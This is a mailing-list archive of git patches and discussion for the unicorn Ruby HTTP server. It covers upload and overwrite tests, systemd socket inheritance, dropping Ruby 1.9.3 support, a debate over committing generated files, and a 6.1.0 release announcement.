while ($clen) {
+ $bs = 999 + int(rand(0xffff));
$len = $clen > $bs ? $bs : $clen;
$r = read($in, $buf, $len);
die 'premature EOF' if $r == 0;
@@ -192,8 +191,10 @@ SKIP: {
my ($sub, $path, %opt) = @_;
seek($rh, 0, SEEK_SET);
$c = tcp_start($srv);
- $c->autoflush(0);
+ $c->autoflush($opt{sync} // 0);
$PUT{$sub}->($rh, $c, $path, %opt);
+ defined($opt{overwrite}) and
+ print { $c } ('x' x $opt{overwrite});
$c->flush or die $!;
($status, $hdr) = slurp_hdr($c);
is(readline($c), $blob_hash, "$sub $path");
@@ -205,6 +206,27 @@ SKIP: {
$ck_hash->('chunked_md5', '/rack_input/size_first');
$ck_hash->('chunked_md5', '/rack_input/rewind_first');
+ $ck_hash->('identity', '/rack_input', -s => $blob_size, sync => 1);
+ $ck_hash->('chunked_md5', '/rack_input', sync => 1);
+
+ # ensure small overwrites don't get checksummed
+ $ck_hash->('identity', '/rack_input', -s => $blob_size,
+ overwrite => 1); # one extra byte
+
+ # excessive overwrite truncated
+ $c = tcp_start($srv);
+ $c->autoflush(0);
+ print $c "PUT /rack_input HTTP/1.0\r\nContent-Length: 1\r\n\r\n";
+ if (1) {
+ local $SIG{PIPE} = 'IGNORE';
+ my $buf = "\0" x 8192;
+ my $n = 0;
+ my $end = time + 5;
+ $! = 0;
+ while (print $c $buf and time < $end) { ++$n }
+ ok($!, 'overwrite truncated') or diag "n=$n err=$! ".time;
+ }
+ undef $c;
$curl // skip 'no curl found in PATH', 1;
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
deleted file mode 100644
index 76e6c1c..0000000
--- a/test/unit/test_upload.rb
+++ /dev/null
@@ -1,301 +0,0 @@
-# -*- encoding: binary -*-
-
-# Copyright (c) 2009 Eric Wong
-require './test/test_helper'
-require 'digest/md5'
-
-include Unicorn
-
-class UploadTest < Test::Unit::TestCase
-
- def setup
- @addr = ENV['UNICORN_TEST_ADDR'] || '127.0.0.1'
- @port = unused_port
- @hdr = {'Content-Type' => 'text/plain', 'Content-Length' => '0'}
- @bs = 4096
- @count = 256
- @server = nil
-
- # we want random binary data to test 1.9 encoding-aware IO craziness
- @random = File.open('/dev/urandom','rb')
- @sha1 = Digest::SHA1.new
- @sha1_app = lambda do |env|
- input = env['rack.input']
- resp = {}
-
- @sha1.reset
- while buf = input.read(@bs)
- @sha1.update(buf)
- end
- resp[:sha1] = @sha1.hexdigest
-
- # rewind and read again
- input.rewind
- @sha1.reset
- while buf = input.read(@bs)
- @sha1.update(buf)
- end
-
- if resp[:sha1] == @sha1.hexdigest
- resp[:sysread_read_byte_match] = true
- end
-
- if expect_size = env['HTTP_X_EXPECT_SIZE']
- if expect_size.to_i == input.size
- resp[:expect_size_match] = true
- end
- end
- resp[:size] = input.size
- resp[:content_md5] = env['HTTP_CONTENT_MD5']
-
- [ 200, @hdr.merge({'X-Resp' => resp.inspect}), [] ]
- end
- end
-
- def teardown
- redirect_test_io { @server.stop(false) } if @server
- @random.close
- reset_sig_handlers
- end
-
- def test_put
- start_server(@sha1_app)
- sock = tcp_socket(@addr, @port)
- sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
- @count.times do |i|
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- sock.syswrite(buf)
- end
- read = sock.read.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal length, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- end
-
- def test_put_content_md5
- md5 = Digest::MD5.new
- start_server(@sha1_app)
- sock = tcp_socket(@addr, @port)
- sock.syswrite("PUT / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n" \
- "Trailer: Content-MD5\r\n\r\n")
- @count.times do |i|
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- md5.update(buf)
- sock.syswrite("#{'%x' % buf.size}\r\n")
- sock.syswrite(buf << "\r\n")
- end
- sock.syswrite("0\r\n")
-
- content_md5 = [ md5.digest! ].pack('m').strip.freeze
- sock.syswrite("Content-MD5: #{content_md5}\r\n\r\n")
- read = sock.read.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal length, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- assert_equal content_md5, resp[:content_md5]
- end
-
- def test_put_trickle_small
- @count, @bs = 2, 128
- start_server(@sha1_app)
- assert_equal 256, length
- sock = tcp_socket(@addr, @port)
- hdr = "PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n"
- @count.times do
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- hdr << buf
- sock.syswrite(hdr)
- hdr = ''
- sleep 0.6
- end
- read = sock.read.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal length, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- end
-
- def test_put_keepalive_truncates_small_overwrite
- start_server(@sha1_app)
- sock = tcp_socket(@addr, @port)
- to_upload = length + 1
- sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{to_upload}\r\n\r\n")
- @count.times do
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- sock.syswrite(buf)
- end
- sock.syswrite('12345') # write 4 bytes more than we expected
- @sha1.update('1')
-
- buf = sock.readpartial(4096)
- while buf !~ /\r\n\r\n/
- buf << sock.readpartial(4096)
- end
- read = buf.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal to_upload, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- end
-
- def test_put_excessive_overwrite_closed
- tmp = Tempfile.new('overwrite_check')
- tmp.sync = true
- start_server(lambda { |env|
- nr = 0
- while buf = env['rack.input'].read(65536)
- nr += buf.size
- end
- tmp.write(nr.to_s)
- [ 200, @hdr, [] ]
- })
- sock = tcp_socket(@addr, @port)
- buf = ' ' * @bs
- sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
-
- @count.times { sock.syswrite(buf) }
- assert_raise(Errno::ECONNRESET, Errno::EPIPE) do
- ::Unicorn::Const::CHUNK_SIZE.times { sock.syswrite(buf) }
- end
- sock.gets
- tmp.rewind
- assert_equal length, tmp.read.to_i
- end
-
- # Despite reading numerous articles and inspecting the 1.9.1-p0 C
- # source, Eric Wong will never trust that we're always handling
- # encoding-aware IO objects correctly. Thus this test uses shell
- # utilities that should always operate on files/sockets on a
- # byte-level.
- def test_uncomfortable_with_onenine_encodings
- # POSIX doesn't require all of these to be present on a system
- which('curl') or return
- which('sha1sum') or return
- which('dd') or return
-
- start_server(@sha1_app)
-
- tmp = Tempfile.new('dd_dest')
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=#{@bs}", "count=#{@count}"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- resp = `curl -isSfN -T#{tmp.path} http://#@addr:#@port/`
- assert $?.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
-
- # small StringIO path
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=1024", "count=1"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- resp = `curl -isSfN -T#{tmp.path} http://#@addr:#@port/`
- assert $?.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
- end
-
- def test_chunked_upload_via_curl
- # POSIX doesn't require all of these to be present on a system
- which('curl') or return
- which('sha1sum') or return
- which('dd') or return
-
- start_server(@sha1_app)
-
- tmp = Tempfile.new('dd_dest')
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=#{@bs}", "count=#{@count}"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- cmd = "curl -H 'X-Expect-Size: #{tmp.size}' --tcp-nodelay \
- -isSf --no-buffer -T- " \
- "http://#@addr:#@port/"
- resp = Tempfile.new('resp')
- resp.sync = true
-
- rd, wr = IO.pipe.each do |io|
- io.sync = io.close_on_exec = true
- end
- pid = spawn(*cmd, { 0 => rd, 1 => resp })
- rd.close
-
- tmp.rewind
- @count.times { |i|
- wr.write(tmp.read(@bs))
- sleep(rand / 10) if 0 == i % 8
- }
- wr.close
- pid, status = Process.waitpid2(pid)
-
- resp.rewind
- resp = resp.read
- assert status.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
- assert_match(/expect_size_match/, resp)
- end
-
- def test_curl_chunked_small
- # POSIX doesn't require all of these to be present on a system
- which('curl') or return
- which('sha1sum') or return
- which('dd') or return
-
- start_server(@sha1_app)
-
- tmp = Tempfile.new('dd_dest')
- # small StringIO path
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=1024", "count=1"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- resp = `curl -H 'X-Expect-Size: #{tmp.size}' --tcp-nodelay \
- -isSf --no-buffer -T- http://#@addr:#@port/ < #{tmp.path}`
- assert $?.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
- assert_match(/expect_size_match/, resp)
- end
-
- private
-
- def length
- @bs * @count
- end
-
- def start_server(app)
- redirect_test_io do
- @server = HttpServer.new(app, :listeners => [ "#{@addr}:#{@port}" ] )
- @server.start
- end
- end
-
-end
[-- Attachment #23: 0022-drop-redundant-IO-close_on_exec-false-calls.patch --]
[-- Type: text/x-diff, Size: 891 bytes --]
From 841b9e756beb1aa00d0f89097a808adcbbf45397 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:51 +0000
Subject: [PATCH 22/23] drop redundant IO#close_on_exec=false calls
Passing the `{ FD => IO }' mapping to #spawn or #exec already
ensures Ruby will clear FD_CLOEXEC on these FDs before execve(2).
---
lib/unicorn/http_server.rb | 5 +----
1 file changed, 1 insertion(+), 4 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 348e745..dd92b38 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -472,10 +472,7 @@ def worker_spawn(worker)
def listener_sockets
listener_fds = {}
- LISTENERS.each do |sock|
- sock.close_on_exec = false
- listener_fds[sock.fileno] = sock
- end
+ LISTENERS.each { |sock| listener_fds[sock.fileno] = sock }
listener_fds
end
[-- Attachment #24: 0023-LISTEN_FDS-inherited-sockets-are-immortal-across-SIG.patch --]
[-- Type: text/x-diff, Size: 3229 bytes --]
From 6ff8785c9277c5978e6dc01cb1b3da25d6bae2db Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:52 +0000
Subject: [PATCH 23/23] LISTEN_FDS-inherited sockets are immortal across SIGHUP
When using systemd-style socket activation, consider the
inherited socket immortal and do not drop it on SIGHUP.
This means configs w/o any `listen' directives at all can
continue to work after SIGHUP.
I only noticed this while writing some tests in Perl 5 and
the test suite is two lines shorter to test this feature :>
---
lib/unicorn/http_server.rb | 7 ++++++-
t/client_body_buffer_size.t | 1 -
t/integration.t | 1 -
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index dd92b38..f1b4a54 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -77,6 +77,7 @@ def initialize(app, options = {})
options[:use_defaults] = true
self.config = Unicorn::Configurator.new(options)
self.listener_opts = {}
+ @immortal = [] # immortal inherited sockets from systemd
# We use @self_pipe differently in the master and worker processes:
#
@@ -158,6 +159,7 @@ def listeners=(listeners)
end
set_names = listener_names(listeners)
dead_names.concat(cur_names - set_names).uniq!
+ dead_names -= @immortal.map { |io| sock_name(io) }
LISTENERS.delete_if do |io|
if dead_names.include?(sock_name(io))
@@ -807,17 +809,20 @@ def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
# before they become Kgio::UNIXServer or Kgio::TCPServer
inherited = ENV['UNICORN_FD'].to_s.split(',')
+ immortal = []
# emulate sd_listen_fds() for systemd
sd_pid, sd_fds = ENV.values_at('LISTEN_PID', 'LISTEN_FDS')
if sd_pid.to_i == $$ # n.b. $$ can never be zero
# 3 = SD_LISTEN_FDS_START
- inherited.concat((3...(3 + sd_fds.to_i)).to_a)
+ immortal = (3...(3 + sd_fds.to_i)).to_a
+ inherited.concat(immortal)
end
# to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
inherited.map! do |fd|
io = Socket.for_fd(fd.to_i)
+ @immortal << io if immortal.include?(fd)
io.autoclose = false
io = server_cast(io)
set_server_sockopt(io, listener_opts[sock_name(io)])
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
index b1a99f3..3067f28 100644
--- a/t/client_body_buffer_size.t
+++ b/t/client_body_buffer_size.t
@@ -36,7 +36,6 @@ POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
seek($conf_fh, 0, SEEK_SET);
truncate($conf_fh, 0);
print $conf_fh <<EOM;
-listen "$host_port" # TODO: remove this requirement for SIGHUP
after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
EOM
$ar->do_kill('HUP');
diff --git a/t/integration.t b/t/integration.t
index a568758..bb2ab51 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -17,7 +17,6 @@ my $u1 = "$tmpdir/u1";
print $conf_fh <<EOM;
early_hints true
listen "$u1"
-listen "$host_port" # TODO: remove this requirement for SIGHUP
EOM
my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
^ permalink raw reply related [relevance 1%]
* Re: [PATCH] Make the gem usable as a git gem
2022-07-08 7:46 22% [PATCH] Make the gem usable as a git gem Jean Boussier
@ 2022-07-08 12:12 4% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2022-07-08 12:12 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@gmail.com> wrote:
> Ok, so I’m sorry, but I’ve now tried for hours and
> I can’t for the life of me figure out how to send a patch
> cleanly with the tools I have available.
Ugh, I guess your employer doesn't want you fixing Linux kernel bugs,
either :<
> So you can download the patch here:
> https://github.com/byroot/unicorn/commit/e7f49852875de54cce974c7cbdd5540ddc5e4eeb.patch
OK, I suggest setting up mirrors on repo.or.cz or somewhere
else, as well, for redundancy and accessibility behind
blockades/firewalls.
> ——
>
> Bundler allow to install arbitrary revision
> of a gem via its git repository, e.g.
>
> ```ruby
> gem "unicorn", git: "https://yhbt.net/unicorn.git"
> ```
>
> But this currently doesn't work with unicorn because
> some files are not committed, and they are only generated
> by the makefile.
>
> This change would make it much easier to test
> unreleased versions.
Understood; but I'm not in favor of having generated files in
version control due to noise from needless diffs/dirty-states.
And I just had problems in another project because of generated
hunks the other day.
I suggest pointing the gemfile towards your own repo and
rebasing this patch on top of upstream, instead.
> NB: I didn't commit ext/unicorn_http/unicorn_http.c
> because I think you might as well generate it and commit
> it yourself so that you don't have to review it.
Minor changes to the .rl files (or Ragel itself) can lead noisy
comment/whitespace changes; and a constant dirty index if two
contributors are using different revisions of Ragel[1].
I encounter constant dirty index with autotools and gnulib-using
projects across different systems, too; and it's a PITA to deal
with when trying to fix platform-specific bugs.
> --- /dev/null
> +++ b/lib/unicorn/version.rb
> @@ -0,0 +1 @@
> +Unicorn::Const::UNICORN_VERSION = '6.1.0.dirty'
That's a regression, a version based on `git describe'
can be quite informative, especially when somebody isn't
sure if they've loaded the correct version or not.
[1] on a side note, I started getting rid of the Ragel dependency
last year (replacing with vendored picohttpparser), but got
sidetracked with Real-Life crap which I'm still dealing with.
The problem is Ragel 7 (experimental) won't be compatible with
6, and FreeBSD only packages 7 while Debian-based is staying
with 6 for now. There were nasty incompatibilities going from
Ragel 5->6 back in the Mongrel days, too; so I'd rather just go
with a standalone C parser I've been abusing elsewhere.
^ permalink raw reply [relevance 4%]
* [PATCH] Make the gem usable as a git gem
@ 2022-07-08 7:46 22% Jean Boussier
2022-07-08 12:12 4% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2022-07-08 7:46 UTC (permalink / raw)
To: unicorn-public
Ok, so I’m sorry, but I’ve now tried for hours and
I can’t for the life of me figure out how to send a patch
cleanly with the tools I have available.
So you can download the patch here:
https://github.com/byroot/unicorn/commit/e7f49852875de54cce974c7cbdd5540ddc5e4eeb.patch
——
Bundler allow to install arbitrary revision
of a gem via its git repository, e.g.
```ruby
gem "unicorn", git: "https://yhbt.net/unicorn.git"
```
But this currently doesn't work with unicorn because
some files are not committed, and they are only generated
by the makefile.
This change would make it much easier to test
unreleased versions.
NB: I didn't commit ext/unicorn_http/unicorn_http.c
because I think you might as well generate it and commit
it yourself so that you don't have to review it.
---
.gitignore | 2 --
lib/unicorn/version.rb | 1 +
2 files changed, 1 insertion(+), 2 deletions(-)
create mode 100644 lib/unicorn/version.rb
diff --git a/.gitignore b/.gitignore
index ad92808..9aa3cad 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,7 +11,6 @@
/test/rbx-*
/test/ruby-*
ext/unicorn_http/Makefile
-ext/unicorn_http/unicorn_http.c
log/
pkg/
/vendor
@@ -21,5 +20,4 @@ pkg/
/man
/tmp
/LATEST
-/lib/unicorn/version.rb
/*_1
diff --git a/lib/unicorn/version.rb b/lib/unicorn/version.rb
new file mode 100644
index 0000000..f456bdd
--- /dev/null
+++ b/lib/unicorn/version.rb
@@ -0,0 +1 @@
+Unicorn::Const::UNICORN_VERSION = '6.1.0.dirty'
--
2.11.0
^ permalink raw reply related [relevance 22%]
* [ANN] unicorn 6.1.0 - Rack HTTP server for fast clients and *nix
@ 2021-12-25 18:06 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-12-25 18:06 UTC (permalink / raw)
To: ruby-talk, unicorn-public
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby world back decades in terms of concurrency.
Note:
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/NEWS.atom.xml
* nntps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/inbox.comp.lang.ruby.unicorn
imaps://yhbt.net/inbox.comp.lang.ruby.unicorn.0
imap://7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/inbox.comp.lang.ruby.unicorn.0
Changes:
This release reduces CPU usage for Linux 4.5+ in most cases.
See "[PATCH 6/6] use EPOLLEXCLUSIVE on Linux 4.5+" for more details:
https://yhbt.net/unicorn-public/20211001030923.26705-7-bofh@yhbt.net/
There's a couple of updates for Ruby 3.1, but we've finally
started relying on Ruby 2.0.0 features after 9 years :P
(so Ruby 1.9.3 users are stuck with older versions).
And the usual round of doc updates and some build speedups.
13 changes by the Bozo Doofus maintainer since v6.0.0:
test_util: less excessive encoding tests
drop Ruby 1.9.3 support, require 2.0+ for now
drop unnecessary IO#close_on_exec=true assignment
extconf.rb: get rid of unnecessary checks
makefile: reduce unnecessary rebuilds
HACKING: drop outdated information about pandoc
http_server: get rid of Process.ppid check
worker_loop: get rid of select() avoidance hack
use EPOLLEXCLUSIVE on Linux 4.5+
allow Ruby to deduplicate remaining globals
epollexclusive: remove rb_gc_force_recycle call
drop Ruby version warning, fix speling errer
doc: v3 .onion updates, nntp => nntps, minor wording changes
^ permalink raw reply [relevance 3%]
* [PATCH 2/3] drop Ruby version warning, fix speling errer
2021-12-25 17:41 3% [PATCH 0/3] Ruby 3.1 + doc/URL updates Eric Wong
@ 2021-12-25 17:41 27% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-12-25 17:41 UTC (permalink / raw)
To: unicorn-public
The warning was probably lost in the noise of the build, anyways.
---
ext/unicorn_http/extconf.rb | 5 -----
unicorn.gemspec | 2 +-
2 files changed, 1 insertion(+), 6 deletions(-)
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 13dec412..80d00e56 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -1,11 +1,6 @@
# -*- encoding: binary -*-
require 'mkmf'
-unless RUBY_VERSION < '3.1'
- warn "Unicorn was only tested against MRI up to 3.0.\n" \
- "It might not properly work with #{RUBY_VERSION}"
-end
-
have_func("rb_hash_clear", "ruby.h") or abort 'Ruby 2.0+ required'
message('checking if String#-@ (str_uminus) dedupes... ')
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 9230199d..b12cf9d3 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,7 +25,7 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # 2.0.0 is the minumum supported version. We don't specify
+ # 2.0.0 is the minimum supported version. We don't specify
# a maximum version to make it easier to test pre-releases,
# but we do warn users if they install unicorn on an untested
# version in extconf.rb
^ permalink raw reply related [relevance 27%]
* [PATCH 0/3] Ruby 3.1 + doc/URL updates...
@ 2021-12-25 17:41 3% Eric Wong
2021-12-25 17:41 27% ` [PATCH 2/3] drop Ruby version warning, fix speling errer Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2021-12-25 17:41 UTC (permalink / raw)
To: unicorn-public
All tested on some of the same HW I had in 2008/2009 :>
Bozo Doofus For Life (3):
epollexclusive: remove rb_gc_force_recycle call
drop Ruby version warning, fix speling errer
doc: v3 .onion updates, nntp => nntps, minor wording changes
.olddoc.yml | 11 +++++----
CONTRIBUTORS | 8 +++++--
ISSUES | 38 +++++++++++++++----------------
README | 8 +++----
ext/unicorn_http/epollexclusive.h | 1 -
ext/unicorn_http/extconf.rb | 5 ----
unicorn.gemspec | 2 +-
7 files changed, 36 insertions(+), 37 deletions(-)
^ permalink raw reply [relevance 3%]
* [PATCH 1/2] drop Ruby 1.9.3 support, require 2.0+ for now
@ 2021-09-14 23:39 17% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-09-14 23:39 UTC (permalink / raw)
To: unicorn-public
Ruby 1.9.3 was released nearly a decade ago, so there's probably
few (if any) legacy users left, and they can continue using old
versions of unicorn. We'll be able to take advantage of some
Ruby 2.0+-only features down the road (and hopefully 2.3+).
Also, I no longer have a installation of Ruby 1.8 and getting it
working probably isn't worth the effort, so 4.x support is gone.
---
HACKING | 2 +-
README | 3 +--
Sandbox | 2 +-
ext/unicorn_http/extconf.rb | 4 ++--
ext/unicorn_http/unicorn_http.rl | 14 +-------------
lib/unicorn/http_server.rb | 2 +-
t/README | 2 +-
unicorn.gemspec | 4 ++--
8 files changed, 10 insertions(+), 23 deletions(-)
diff --git a/HACKING b/HACKING
index 976bf92..7c41eba 100644
--- a/HACKING
+++ b/HACKING
@@ -63,7 +63,7 @@ becomes unavailable.
=== Ruby/C Compatibility
-We target mainline Ruby 1.9.3 and later. We need the Ruby
+We target C Ruby 2.0 and later. We need the Ruby
implementation to support fork, exec, pipe, UNIX signals, access to
integer file descriptors and ability to use unlinked files.
diff --git a/README b/README
index 35a7388..5fdd1e8 100644
--- a/README
+++ b/README
@@ -12,8 +12,7 @@ both the the request and response in between unicorn and slow clients.
cut out everything that is better supported by the operating system,
{nginx}[https://nginx.org/] or {Rack}[https://rack.github.io/].
-* Compatible with Ruby 1.9.3 and later.
- unicorn 4.x remains supported for Ruby 1.8 users.
+* Compatible with Ruby 2.0.0 and later.
* Process management: unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
diff --git a/Sandbox b/Sandbox
index 651e5cd..d770586 100644
--- a/Sandbox
+++ b/Sandbox
@@ -87,7 +87,7 @@ For now workarounds include doing one of the following:
3. Explicitly setting RUBYLIB or $LOAD_PATH to include any gem path
where the unicorn gem is installed
- (e.g. /usr/lib/ruby/gems/1.9.3/gems/unicorn-VERSION/lib)
+ (e.g. /usr/lib/ruby/gems/3.0.0/gems/unicorn-VERSION/lib)
=== RUBYOPT pollution from SIGUSR2 upgrades
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 95514bc..8bdc1c9 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -9,8 +9,8 @@
have_macro("SIZEOF_OFF_T", "ruby.h") or check_sizeof("off_t", "sys/types.h")
have_macro("SIZEOF_SIZE_T", "ruby.h") or check_sizeof("size_t", "sys/types.h")
have_macro("SIZEOF_LONG", "ruby.h") or check_sizeof("long", "sys/types.h")
-have_func("rb_str_set_len", "ruby.h") or abort 'Ruby 1.9.3+ required'
-have_func("rb_hash_clear", "ruby.h") # Ruby 2.0+
+have_func("rb_str_set_len", "ruby.h") or abort 'Ruby 2.0+ required'
+have_func("rb_hash_clear", "ruby.h") or abort 'Ruby 2.0+ required'
have_func("gmtime_r", "time.h")
message('checking if String#-@ (str_uminus) dedupes... ')
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 21e09d6..e934a32 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -65,18 +65,6 @@ struct http_parser {
static ID id_set_backtrace, id_is_chunked_p;
static VALUE cHttpParser;
-#ifdef HAVE_RB_HASH_CLEAR /* Ruby >= 2.0 */
-# define my_hash_clear(h) (void)rb_hash_clear(h)
-#else /* !HAVE_RB_HASH_CLEAR - Ruby <= 1.9.3 */
-
-static ID id_clear;
-
-static void my_hash_clear(VALUE h)
-{
- rb_funcall(h, id_clear, 0);
-}
-#endif /* HAVE_RB_HASH_CLEAR */
-
static void finalize_header(struct http_parser *hp);
static void parser_raise(VALUE klass, const char *msg)
@@ -650,7 +638,7 @@ static VALUE HttpParser_clear(VALUE self)
return HttpParser_init(self);
http_parser_init(hp);
- my_hash_clear(hp->env);
+ rb_hash_clear(hp->env);
return self;
}
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 22f067f..cd6e63b 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -609,7 +609,7 @@ def e103_response_write(client, headers)
def e100_response_write(client, env)
# We use String#freeze to avoid allocations under Ruby 2.1+
# Not many users hit this code path, so it's better to reduce the
- # constant table sizes even for 1.9.3-2.0 users who'll hit extra
+ # constant table sizes even for Ruby 2.0 users who'll hit extra
# allocations here.
client.write(@request.response_start_sent ?
"100 Continue\r\n\r\nHTTP/1.1 ".freeze :
diff --git a/t/README b/t/README
index 0d9b697..14de559 100644
--- a/t/README
+++ b/t/README
@@ -10,7 +10,7 @@ comfortable writing integration tests with.
== Requirements
-* {Ruby 1.9.3+}[https://www.ruby-lang.org/en/] (duh!)
+* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/] (duh!)
* {GNU make}[https://www.gnu.org/software/make/]
* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[https://curl.haxx.se/]
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 90e64d4..9230199 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,11 +25,11 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # 1.9.3 is the minumum supported version. We don't specify
+ # 2.0.0 is the minumum supported version. We don't specify
# a maximum version to make it easier to test pre-releases,
# but we do warn users if they install unicorn on an untested
# version in extconf.rb
